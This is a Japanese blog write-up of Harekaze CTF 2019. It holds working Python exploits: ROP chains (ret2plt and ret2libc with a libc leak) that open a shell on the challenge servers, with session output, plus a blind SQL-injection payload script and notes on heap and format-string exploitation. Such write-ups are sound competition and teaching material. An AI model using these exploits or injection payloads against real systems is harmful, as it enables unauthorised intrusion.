CTFするぞ

CTF以外のことも書くよ

Harekaze CTF 2019のWriteup

5月18日の15時から24時間Harekaze CTF 2019が開催されました。 私はチームYokosuka Hackersとして参加し、チーム全体で3060ptsを獲得して1位でした。 なんとフラグを通したのは2問だけという失態ですが、今回はみんなで情報共有して協力しながらという感じだったのでOK。 フラグを通した問題以外も、挑戦した問題は解き方を書こうと思います。

Baby ROP

スタックオーバーフローがあるのでやるだけ。 サーバー側は古いlibcなのでret2pltのsystem("/bin/sh")が動きます。 また、"/bin/sh"はバイナリの中に存在するのでそれを使いました。

from ptrlib import *

#sock = Process("./babyrop")
sock = Socket("problem.harekaze.com", 20001)

plt_system = 0x400490
rop_pop_rdi = 0x00400683
addr_binsh = 0x601048

payload = b'A' * 0x18
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(plt_system)
payload += p64(0xffffffffffffffff)
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] Socket: Successfully connected to problem.harekaze.com:20001
[ptrlib]$ cat /home/babyrop/flag
What's your name? HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
[ptrlib]$ 

Baby ROP 2

先程と同じくスタックオーバーフローがありますが、system関数は用意されていません。 ただprintfでlibc leakしてret2libcでsystem("/bin/sh")を動かすだけです。 これもlibcが古いのでシステムコールを組み立てる必要はありません。

from ptrlib import *

libc = ELF("./libc.so.6")
elf = ELF("./babyrop2")
#sock = Process("./babyrop2")
sock = Socket("problem.harekaze.com", 20005)

plt_printf = 0x4004f0
rop_pop_rdi = 0x00400733
rop_pop_rsi_r15 = 0x00400731

payload = b'A' * 0x28
payload += p64(rop_pop_rdi)
payload += p64(elf.got("read"))
payload += p64(plt_printf)
payload += p64(elf.symbol("main"))
sock.recvuntil("name? ")
sock.send(payload)
sock.recvline()
addr = sock.recvuntil("What")[:-4]
libc_base = u64(addr) - libc.symbol("read")

dump("libc base = " + hex(libc_base))

sock.recvuntil("name? ")
sock.send(payload)
payload = b'A' * 0x28
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.send(payload)

sock.interactive()

フラグ的にBSSセグメント使ってほしかったっぽい? もしかしたら_startを呼ぶんじゃなくてreadでBSSにROP chainを作ってstack pivotで飛んでほしかったのかもしれません。

$ python solve.py 
[+] Socket: Successfully connected to problem.harekaze.com:20005
[ptrlib] libc base = 0x7f6aff1e4000
Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAH!
[ptrlib]$ P²-ÿjWhat's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA@!
cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
[ptrlib]$

Login System

明らかに非想定解なのでwriteup待ち。 sprintfでscanfのcharsetを指定できるのですが、そんなことをすればscanfの書式文字列が変更できます。 スタック上にリターンアドレスを指すポインタがあるので、a]%11$lx[aみたいな文字列を挿入すればリターンアドレスを直接書き換えられます。 libcのアドレスリークがなくて困っていましたが、bincatさんがブルートフォースでone gadgetに飛ばすようにリターンアドレスを書き換えたら通ったっぽいです。

Harekaze Note

ノートを作って双方向リストで管理しています。 deleteしたときにcontentsがmallocされているかを確認しない上、contentsのアドレスを消さないのでdouble freeがあります。 しかしlibc-2.29なのでtcacheでdouble freeはできず、fastbinでやる必要があります。 なぜか私のコードが動かなくて詰まっていたらshpikさんが鮮やかに解いてくれました。 やることとしては、tcacheのリンクからheapアドレスをリークし、double freeでchunk overlapしてリストの先頭もしくは最後尾についてるbssへのリンクを拾ってproc baseを計算し、同様にリンクをGOTに繋げてlibc leakし、最後に__free_hookとかでone gadgetみたいな感じだと思います。 もっと簡単でした。 あとfastbinのdouble freeができなかったのは小さいチャンクをcreateしまくったら解決しました。(なんで?) ちゃんと書いたのでこっちのwriteupを読んでください。

writeup

SQLite Vote

shpikさんが((select(length(flag))from(flag))between(1)and(100))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)((select(length(flag))from(flag))between(1)and(1))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)で分岐できることに気づいたので、私が次のようなコードで部分文字列が分かるのではないかと言ったところ、hex(hex(flag))にすれば完全に分かるじゃんってなりました。

import requests

l = 4
partial = 48617265 # Hare
#partial = 99999999

sqli1 = "((SELECT(LENGTH( TRIM(HEX(flag), {partial}) ))FROM(flag))BETWEEN(1)AND({i}))AND(SELECT(SUM(a))FROM(SELECT(2305843009213693953)a,(id)FROM(vote))a)".format(partial=partial, i=(38-l) * 2)
sqli2 = "((SELECT(LENGTH( TRIM(HEX(flag), {partial}) ))FROM(flag))BETWEEN(1)AND({i}))AND(SELECT(SUM(a))FROM(SELECT(2305843009213693953)a,(id)FROM(vote))a)".format(partial=partial, i=(38-l-1) * 2)

payload = {"id": "{}".format(sqli1.replace(" ", ""))}
r1 = requests.post("http://153.127.202.154:1004/vote.php", data=payload)
payload = {"id": "{}".format(sqli2.replace(" ", ""))}
r2 = requests.post("http://153.127.202.154:1004/vote.php", data=payload)

if b"error" in r1.text.encode("ascii"):
    if b"error" not in r2.text.encode("ascii"):
        print("'{}' is included".format(partial))

しかしintegerが大きすぎてエラーになるのでtrimを複数に分けて使う必要がありましたが、時間がありませんでした。

Scramble

みんなが解析している間にangrで解きました。

import angr
import claripy

p = angr.Project("./scramble")

flag = claripy.BVS("flag", 38*8)

st = p.factory.entry_state(
    args = ["./scramble"],
    add_options = angr.options.unicorn,
    stdin = flag
)
for byte in flag.chop(8):
    st.add_constraints(byte >= '\x20') # ' '
    st.add_constraints(byte <= '\x7e') # '~'
sm = p.factory.simulation_manager(st)
sm.explore(find=0x400000 + 0x737, avoid=0x400000 + 0x6fb)
found = sm.found[-1]

keys = found.solver.eval(flag)
print(keys)

感想

思ったより難しかったです。 最近まともな問題が解けないので自信がなくなってきた。

スコアサーバーがいまいちでしたが、問題はどれもちゃんと作られていて良かったです。 是非また来年も開催してください。